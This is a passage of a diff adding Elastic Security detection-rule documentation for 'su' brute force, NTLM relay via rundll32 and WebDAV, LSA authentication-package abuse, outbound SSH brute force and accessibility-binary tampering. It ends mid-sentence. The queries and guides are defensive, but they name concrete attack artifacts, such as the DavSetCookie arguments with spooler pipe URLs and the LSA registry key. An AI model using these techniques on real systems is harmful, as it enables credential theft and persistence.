+---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Drive-by Compromise +** ID: T1189 +** Reference URL: https://attack.mitre.org/techniques/T1189/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-linux-local-account-brute-force-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-linux-local-account-brute-force-detected.asciidoc new file mode 100644 index 0000000000..6b8c405cd4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-linux-local-account-brute-force-detected.asciidoc @@ -0,0 +1,192 @@ +[[prebuilt-rule-8-19-21-potential-linux-local-account-brute-force-detected]] +=== Potential Linux Local Account Brute Force Detected + +Identifies multiple consecutive login attempts executed by one process targeting a local linux user account within a short time interval. Adversaries might brute force login attempts across different users with a default wordlist or a set of customly crafted passwords in an attempt to gain access to these accounts. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 8m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 14 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Linux Local Account Brute Force Detected* + + +In Linux environments, the 'su' command is used to switch user accounts, often requiring a password. Adversaries exploit this by attempting numerous logins with various passwords to gain unauthorized access. The detection rule identifies suspicious activity by monitoring rapid, repeated 'su' command executions from a single process, excluding common legitimate parent processes, indicating potential brute force attempts. + + +*Possible investigation steps* + + +- Review the process execution details to identify the parent process of the 'su' command, focusing on any unusual or unauthorized parent processes not listed in the exclusion list. +- Analyze the frequency and pattern of the 'su' command executions from the identified process to determine if they align with typical user behavior or indicate a brute force attempt. +- Check the user account targeted by the 'su' command attempts to assess if it is a high-value or sensitive account that might be of interest to adversaries. +- Investigate the source host (host.id) to determine if there are any other suspicious activities or anomalies associated with it, such as unusual network connections or other security alerts. +- Correlate the event timestamps with other logs or alerts to identify any concurrent suspicious activities that might indicate a coordinated attack effort. + + +*False positive analysis* + + +- Legitimate administrative scripts or automation tools may trigger the rule if they execute the 'su' command frequently. To mitigate this, identify and whitelist these scripts or tools by adding their parent process names to the exclusion list. +- Scheduled tasks or cron jobs that require switching users might be misidentified as brute force attempts. Review and exclude these tasks by specifying their parent process names in the exclusion criteria. +- Development or testing environments where frequent user switching is part of normal operations can generate false positives. Consider excluding these environments from monitoring or adjust the detection threshold to better fit the operational context. +- Continuous integration or deployment systems that use the 'su' command for user context switching can be mistaken for brute force attempts. Add these systems' parent process names to the exclusion list to prevent false alerts. + + +*Response and remediation* + + +- Immediately isolate the affected host to prevent further unauthorized access or lateral movement within the network. +- Terminate the suspicious process identified by the detection rule to stop ongoing brute force attempts. +- Reset passwords for the targeted user accounts to prevent unauthorized access using potentially compromised credentials. +- Review and update the password policy to enforce strong, complex passwords and consider implementing account lockout mechanisms after a certain number of failed login attempts. +- Conduct a thorough review of the affected system for any signs of successful unauthorized access or additional malicious activity, such as new user accounts or scheduled tasks. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems may be affected. +- Enhance monitoring and logging on the affected host and similar systems to detect and respond to future brute force attempts more effectively. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.process* metadata _id, _index, _version + +// Create 1-minute time buckets +| eval Esql.time_window_date_trunc = date_trunc(1 minute, @timestamp) + +// Ensure event.action values in a list are expanded +| mv_expand event.action + +| where + event.category == "process" and event.type == "start" and event.action == "exec" and process.name == "su" and + process.parent.name not in ( + "bash", "dash", "ash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "clickhouse-server", "ma", "gitlab-runner", + "updatedb.findutils", "cron", "perl", "sudo", "java", "cloud-app-identify", "ambari-sudo.sh", "runc", + "cau9sat.exe", "git-pull.sh", "distributor-pulltabs-devel-live", "p_ctmag", "backup_agent_main", "sshd", + "nxpgsql", "cau9cli.exe", "autopostgresqlbackup" + ) and + not process.parent.command_line == "runc init" + +// Keep relevant fields +| keep + @timestamp, + event.action, + event.category, + event.type, + process.name, + process.parent.name, + process.parent.command_line, + process.command_line, + user.name, + data_stream.dataset, + data_stream.namespace, + process.parent.executable, + agent.id, + user.id, + Esql.time_window_date_trunc + +| stats + Esql.event_count = count(*), + Esql.process_command_line_values = values(process.command_line), + Esql.process_parent_command_line_values = values(process.parent.command_line), + Esql.user_name_values = values(user.name), + Esql.data_stream_dataset_values = values(data_stream.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + + by process.parent.executable, agent.id, user.id, Esql.time_window_date_trunc + +| where Esql.event_count >= 10 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-local-ntlm-relay-via-http.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-local-ntlm-relay-via-http.asciidoc new file mode 100644 index 0000000000..fa58acccc3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-local-ntlm-relay-via-http.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-21-potential-local-ntlm-relay-via-http]] +=== Potential Local NTLM Relay via HTTP + +Identifies attempt to coerce a local NTLM authentication via HTTP using the Windows Printer Spooler service as a target. An adversary may use this primitive in combination with other techniques to elevate privileges on a compromised system. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/med0x2e/NTLMRelay2Self +* https://github.com/topotam/PetitPotam +* https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Local NTLM Relay via HTTP* + + +NTLM, a suite of Microsoft security protocols, is often targeted by adversaries for credential theft. Attackers may exploit the Windows Printer Spooler service to coerce NTLM authentication over HTTP, potentially elevating privileges. The detection rule identifies suspicious rundll32.exe executions invoking WebDAV client DLLs with specific arguments, signaling attempts to access named pipes via HTTP, indicative of NTLM relay attacks. + + +*Possible investigation steps* + + +- Review the process execution details for rundll32.exe, focusing on the specific arguments related to davclnt.dll and DavSetCookie, to confirm the presence of suspicious WebDAV client activity. +- Investigate the network connections initiated by the rundll32.exe process to identify any HTTP requests targeting named pipes, such as those containing "/print/pipe/", "/pipe/spoolss", or "/pipe/srvsvc". +- Check the system's event logs for any related authentication attempts or failures around the time of the alert to identify potential NTLM relay activity. +- Analyze the history of the Windows Printer Spooler service on the affected host to determine if it has been recently manipulated or exploited. +- Correlate the alert with other security events or alerts from data sources like Microsoft Defender XDR or Sysmon to identify any related suspicious activities or patterns. +- Assess the user account associated with the NTLM authentication attempt to determine if it has been compromised or is being used in an unauthorized manner. + + +*False positive analysis* + + +- Legitimate administrative tasks using rundll32.exe with WebDAV client DLLs may trigger the rule. Review the context of the execution, such as the user account and the timing, to determine if it aligns with expected administrative activities. +- Automated software deployment or update processes might use similar rundll32.exe calls. Verify if the process is part of a scheduled or known deployment task and consider excluding these specific processes from the rule. +- Some third-party applications may use WebDAV for legitimate purposes, which could mimic the behavior detected by the rule. Identify these applications and create exceptions for their known processes to prevent false alerts. +- System maintenance scripts or tools that interact with network resources via HTTP might inadvertently match the rule's criteria. Ensure these scripts are documented and exclude them if they are verified as non-threatening. +- Regularly review and update the exclusion list to accommodate changes in legitimate software behavior, ensuring that only verified false positives are excluded to maintain the rule's effectiveness. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious rundll32.exe processes identified in the alert to stop ongoing malicious activity. +- Conduct a thorough review of the affected system's event logs and network traffic to identify any additional indicators of compromise or related malicious activity. +- Reset credentials for any accounts that may have been exposed or compromised during the attack to prevent unauthorized access. +- Apply the latest security patches and updates to the Windows Printer Spooler service and related components to mitigate known vulnerabilities. +- Implement network segmentation to limit the exposure of critical services and reduce the risk of similar attacks in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to ensure comprehensive remediation efforts are undertaken. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "rundll32.exe" and + + /* Rundll32 WbeDav Client */ + process.args : ("?:\\Windows\\System32\\davclnt.dll,DavSetCookie", "?:\\Windows\\SysWOW64\\davclnt.dll,DavSetCookie") and + + /* Access to named pipe via http */ + process.args : ("http*/print/pipe/*", "http*/pipe/spoolss", "http*/pipe/srvsvc") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Forced Authentication +** ID: T1187 +** Reference URL: https://attack.mitre.org/techniques/T1187/ +* Technique: +** Name: Exploitation for Credential Access +** ID: T1212 +** Reference URL: https://attack.mitre.org/techniques/T1212/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-lsa-authentication-package-abuse.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-lsa-authentication-package-abuse.asciidoc new file mode 100644 index 0000000000..93808a3730 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-lsa-authentication-package-abuse.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-21-potential-lsa-authentication-package-abuse]] +=== Potential LSA Authentication Package Abuse + +Adversaries can use the autostart mechanism provided by the Local Security Authority (LSA) authentication packages for privilege escalation or persistence by placing a reference to a binary in the Windows registry. The binary will then be executed by SYSTEM when the authentication packages are loaded. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-m365_defender.event-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Microsoft Defender XDR +* Resources: Investigation Guide + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential LSA Authentication Package Abuse* + + +The Local Security Authority (LSA) in Windows manages authentication and security policies. Adversaries exploit LSA by modifying registry paths to include malicious binaries, which are executed with SYSTEM privileges during authentication package loading. The detection rule identifies unauthorized registry changes by non-SYSTEM users, signaling potential privilege escalation or persistence attempts. + + +*Possible investigation steps* + + +- Review the registry change event details to identify the specific binary path added to the LSA Authentication Packages registry key. +- Investigate the user account associated with the registry change event to determine if it is a legitimate user or potentially compromised. +- Check the timestamp of the registry modification to correlate with any other suspicious activities or events on the system around the same time. +- Analyze the binary referenced in the registry change for any known malicious signatures or behaviors using antivirus or threat intelligence tools. +- Examine system logs and security events for any signs of privilege escalation or persistence techniques used by the adversary. +- Assess the system for any additional unauthorized changes or indicators of compromise that may suggest further malicious activity. + + +*False positive analysis* + + +- Legitimate software installations or updates may modify the LSA authentication package registry path. Users should verify if recent installations or updates coincide with the detected changes and consider excluding these specific software processes if they are deemed safe. +- System administrators or IT management tools might perform authorized changes to the registry for maintenance or configuration purposes. Users can create exceptions for known administrative tools or processes that are regularly used for legitimate system management tasks. +- Security software or endpoint protection solutions may alter the registry as part of their normal operation. Users should identify and whitelist these security applications to prevent unnecessary alerts. +- Custom scripts or automation tools used within the organization might inadvertently trigger this rule. Users should review and document these scripts, ensuring they are secure, and exclude them if they are confirmed to be non-threatening. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious processes associated with the unauthorized registry change to halt potential malicious activity. +- Restore the modified registry path to its original state by removing any unauthorized entries in the LSA Authentication Packages registry key. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious binaries or remnants. +- Review and reset credentials for any accounts that may have been compromised, focusing on those with elevated privileges. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for registry changes, particularly those involving LSA authentication packages, to detect and respond to similar threats in the future. + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.path : ( + "HKLM\\SYSTEM\\*ControlSet*\\Control\\Lsa\\Authentication Packages", + "\\REGISTRY\\MACHINE\\SYSTEM\\*ControlSet*\\Control\\Lsa\\Authentication Packages" + ) and + /* exclude SYSTEM SID - look for changes by non-SYSTEM user */ + not user.id : "S-1-5-18" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Authentication Package +** ID: T1547.002 +** Reference URL: https://attack.mitre.org/techniques/T1547/002/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Authentication Package +** ID: T1547.002 +** Reference URL: https://attack.mitre.org/techniques/T1547/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-malware-driven-ssh-brute-force-attempt.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-malware-driven-ssh-brute-force-attempt.asciidoc new file mode 100644 index 0000000000..aee4260e3b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-malware-driven-ssh-brute-force-attempt.asciidoc @@ -0,0 +1,235 @@ +[[prebuilt-rule-8-19-21-potential-malware-driven-ssh-brute-force-attempt]] +=== Potential Malware-Driven SSH Brute Force Attempt + +This detection identifies a Linux host that has potentially been infected with malware and is being used to conduct brute-force attacks against external systems over SSH (port 22 and common alternative SSH ports). The detection looks for a high volume of outbound connection attempts to non-private IP addresses from a single process. A compromised host may be part of a botnet or controlled by an attacker, attempting to gain unauthorized access to remote systems. This behavior is commonly observed in SSH brute-force campaigns where malware hijacks vulnerable machines to expand its attack surface. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1h + +*Searches indices from*: now-61m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Impact +* Tactic: Execution +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Malware-Driven SSH Brute Force Attempt* + + +SSH is a protocol used to securely access remote systems. Adversaries exploit it by deploying malware on compromised Linux hosts to perform brute-force attacks, attempting unauthorized access to other systems. The detection rule identifies such abuse by monitoring high volumes of outbound SSH connection attempts from a single process to external IPs, indicating potential malware activity. + + +*Possible investigation steps* + + +- Review the process executable identified in the alert to determine if it is a legitimate application or potentially malicious. Check for known malware signatures or unusual file paths. +- Analyze the destination IP addresses involved in the connection attempts to identify if they are known malicious hosts or part of a larger attack infrastructure. Use threat intelligence sources to gather more information. +- Examine the host's recent activity logs to identify any unusual behavior or signs of compromise, such as unexpected process executions or changes in system configurations. +- Investigate the specific agent.id associated with the alert to determine if other alerts or suspicious activities have been reported from the same host, indicating a broader compromise. +- Check for any recent changes or updates to the host's software or configurations that could have introduced vulnerabilities exploited by the malware. +- Assess the network traffic patterns from the host to identify any other unusual outbound connections that may indicate additional malicious activity or data exfiltration attempts. + + +*False positive analysis* + + +- High-volume legitimate SSH operations from a single process can trigger alerts. Exclude known safe processes or scripts that perform frequent SSH operations by adding them to an exception list. +- Automated backup or synchronization tools using SSH to connect to external servers may be misidentified. Identify these tools and exclude their process names or IP addresses from the detection rule. +- Development or testing environments where SSH connections are frequently initiated to external systems for legitimate purposes can cause false positives. Document these environments and adjust the rule to exclude their specific IP ranges or process identifiers. +- Security scanning tools that perform SSH checks on external systems might be flagged. Ensure these tools are recognized and their activities are excluded by specifying their process names or IP addresses in the rule exceptions. + + +*Response and remediation* + + +- Isolate the affected Linux host from the network immediately to prevent further unauthorized access attempts and potential spread of malware to other systems. +- Terminate the suspicious process identified by the detection rule to stop ongoing brute-force attempts and reduce the risk of further compromise. +- Conduct a thorough malware scan on the isolated host using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious software. +- Review and reset credentials for any accounts that may have been targeted or compromised during the brute-force attempts to ensure account security. +- Apply security patches and updates to the affected host and any other vulnerable systems to mitigate known vulnerabilities that could be exploited by similar threats. +- Monitor network traffic for any signs of continued or new suspicious activity, particularly focusing on outbound SSH connections, to detect and respond to any further attempts promptly. +- Escalate the incident to the security operations center (SOC) or relevant security team for further investigation and to assess the potential impact on the broader network infrastructure. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.network-* metadata _id, _index, _version + +| mv_expand event.action + +| where + host.os.type == "linux" and + event.type == "start" and + event.action == "connection_attempted" and + destination.port in (22, 222, 2222, 10022, 2022, 2200, 62612, 8022) and + not ( + cidr_match( + destination.ip, + "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", + "192.0.0.0/24", "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", + "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", + "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", + "224.0.0.0/4", "100.64.0.0/10", "192.175.48.0/24", "198.18.0.0/15", + "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", "FF00::/8" + ) or + process.executable in ( + "/usr/bin/rclone", "/usr/bin/sss_ssh_knownhostsproxy", "/usr/sbin/sshd", "/usr/bin/ssh", + "/usr/local/bin/php", "/usr/sbin/apache2", "/usr/sbin/nginx", "/usr/local/bin/argocd-repo-server", + "/opt/nessus/sbin/nessusd", "/usr/local/bin/source-controller" + ) or + process.executable like "/usr/local/efax/*" + ) + +| keep + @timestamp, + _id, + _index, + _version, + host.os.type, + event.type, + event.action, + destination.port, + destination.ip, + process.executable, + agent.id, + host.name, + data_stream.dataset, + data_stream.namespace + +| stats + Esql.event_count = count(), + Esql.agent_id_count_distinct = count_distinct(agent.id), + Esql.host_name_values = values(host.name), + Esql.agent_id_values = values(agent.id), + Esql.data_stream_dataset_values = values(data_stream.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + + by process.executable, destination.port + +| where + Esql.agent_id_count_distinct == 1 and + Esql.event_count >= 100 + +// Extract unique values to ECS fields for alerts exclusion +| eval agent.id = mv_min(Esql.agent_id_values), + host.name = mv_min(Esql.host_name_values) + +| sort Esql.event_count asc + +| keep Esql.*, agent.id, host.name, process.executable, destination.port + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Resource Hijacking +** ID: T1496 +** Reference URL: https://attack.mitre.org/techniques/T1496/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-modification-of-accessibility-binaries.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-modification-of-accessibility-binaries.asciidoc new file mode 100644 index 0000000000..49d6788158 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-modification-of-accessibility-binaries.asciidoc @@ -0,0 +1,180 @@ +[[prebuilt-rule-8-19-21-potential-modification-of-accessibility-binaries]] +=== Potential Modification of Accessibility Binaries + +Windows contains accessibility features that may be launched with a key combination before a user has logged in. An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/blog/practical-security-engineering-stateful-detection + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Modification of Accessibility Binaries* + + +Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system. + +More details can be found https://attack.mitre.org/techniques/T1546/008/[here]. + +This rule looks for the execution of supposed accessibility binaries that don't match any of the accessibility features binaries' original file names, which is likely a custom binary deployed by the attacker. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account and system owners and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the file using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for 